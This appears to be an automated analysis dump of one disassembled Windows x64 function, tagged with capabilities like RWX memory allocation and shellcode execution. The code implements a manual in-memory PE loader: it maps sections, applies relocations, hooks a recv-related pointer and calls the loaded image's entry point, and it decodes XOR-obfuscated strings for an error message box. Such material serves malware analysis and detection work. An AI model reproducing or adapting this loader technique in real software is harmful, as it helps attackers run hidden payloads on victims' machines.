Function at 0x140048fa0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov r14, r8
mov esi, edx
mov rdi, rcx
mov byte [0x1406ba6e0], 1
mov rax, qword [r8]
test rax, rax
je 0x140048fe6
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x140048fe6
movsxd rcx, dword [rax + 0x3c]
cmp rcx, 0x400
jle 0x14004929f
xor r15d, r15d
mov edx, dword [r15 + 0x50]
mov rcx, qword [r15 + 0x30]
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140049010
mov rbx, rax
xor r12d, r12d
jmp 0x14004903b
mov edx, dword [r15 + 0x50]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400492b6
mov rbx, rax
mov r12, rax
sub r12, qword [r15 + 0x30]
mov r8d, dword [r15 + 0x50]
mov rcx, rbx
xor edx, edx
call fcn.1403743d0
mov qword [r15 + 0x30], rbx
mov rdx, qword [r14]
mov r8d, dword [r15 + 0x54]
mov rcx, rbx
call fcn.140373d30
cmp word [r15 + 6], 0
je 0x1400490a8
lea r13, [r15 + 0x108]
add r13, 0x14
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r13]
add rdx, qword [r14]
mov ecx, dword [r13 - 8]
mov r8d, dword [r13 - 4]
add rcx, rbx
call fcn.140373d30
inc rbp
movzx eax, word [r15 + 6]
add r13, 0x28
cmp rbp, rax
jb 0x140049080
test r12, r12
je 0x140049175
mov r8, qword [r14]
test r8, r8
je 0x140049175
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x140049175
movsxd rax, dword [r8 + 0x3c]
cmp rax, 0x400
jg 0x140049175
cmp dword [r8 + rax], 0x4550
jne 0x140049175
add r8, rax
cmp dword [r8 + 0xb0], 0
je 0x140049175
add r8, 0xb0
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140049550
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
cmp rcx, rax
je 0x14004913e
nop word [rax + rax]
movzx edx, word [rcx]
and edx, 0xfff
add edx, dword [rcx + 4]
add qword [rbx + rdx], r12
add rcx, 0x10
cmp rcx, rax
jne 0x140049120
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140049175
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140049170
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14004953c
add rdx, 0x27
mov rcx, rax
call fcn.14016e360
mov rcx, rbx
call fcn.140048c20
movsxd rax, dword [rbx + 0x3c]
lea rdx, [rbx + rax]
add rdx, 0xa0
xor ecx, ecx
cmp dword [rbx + rax + 0xa0], 0
cmove rdx, rcx
mov ecx, dword [rdx]
mov eax, dword [rdx + 4]
mov edx, 0xaaaaaaab
imul rdx, rax
shr rdx, 0x23
dec edx
add rcx, rbx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov r13d, dword [r15 + 0x28]
add r13, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
lea r14, [rax + 0xa00]
mov dword [rsp + 0x30], 0
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r12, [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r8d, 0x40
mov r9, r12
call rbp
mov edx, 0x30
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [r15 + 0xa00], rax
mov rcx, qword [0x1406ba4f8]
mov qword [rax + 8], rcx
mov rax, qword [str.IEU5ZgkXO4lwbtK6cYSTflSgJ0yR6RTMZNtFkiMZqLwg9fvYRmS2]
mov rcx, qword [r15 + 0xa00]
mov qword [rcx], rax
mov rax, qword [r15 + 0xa00]
mov qword [rax + 0x10], rbx
mov r8, qword [rdi]
mov rcx, qword [r15 + 0xa00]
add rcx, 0x18
mov edx, reloc.WS2_32.dll_recv
call fcn.14035b888
mov rax, qword [r15 + 0xa00]
mov dword [rax + 0x28], esi
mov r8d, dword [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r9, r12
call rbp
xor ecx, ecx
xor edx, edx
call r13
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rax + rcx]
xor r15d, r15d
cmp dword [rax + rcx], 0x4550
cmove r15, rdx
jmp 0x140048fe9
movabs rax, 0x62aaaa285929e37e
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb0], rax
movabs rax, 0x199cb31ff3e90cd9
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rax
movabs rcx, 0x5bf18a5a365b913b
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs rdx, 0x199cb31ff3e90c84
mov qword [rsp + 0x70], rdx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x70]
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [r8]
movaps xmmword [rsp + 0xb0], xmm0
movabs r8, 0x2994fe345f7bff7a
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x70], r8
movabs r8, 0x76eec17ad3856dea
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x78], r8
movabs r8, 0x8f41cef234bfb67
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x80], r8
movabs r8, 0xfacf4a75e25c9862
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x88], r8
movabs r8, 0x579836576e7596a
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x90], r8
movabs r8, 0x84f01a6e92b22d6c
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x98], r8
movabs r8, 0xfc74bc766be746a8
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0xa0], r8
movabs r8, 0x70e873d59b8ecd8a
mov qword [rsp + 0x30], r8
mov r9, qword [rsp + 0x30]
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x38], rcx
movabs rcx, 0x6d86698c4024db15
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rcx
movabs rcx, 0x89ae2f19927cb406
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x48], rcx
movabs rcx, 0x7718f7161395790f
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x50], rcx
movabs rcx, 0xeb9c3a0bfac60d18
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x58], rcx
movabs rcx, 0xfc74bc58198222c9
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x28], r8
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x90], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xb0]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.14034b534
call fcn.14034ebb4
int3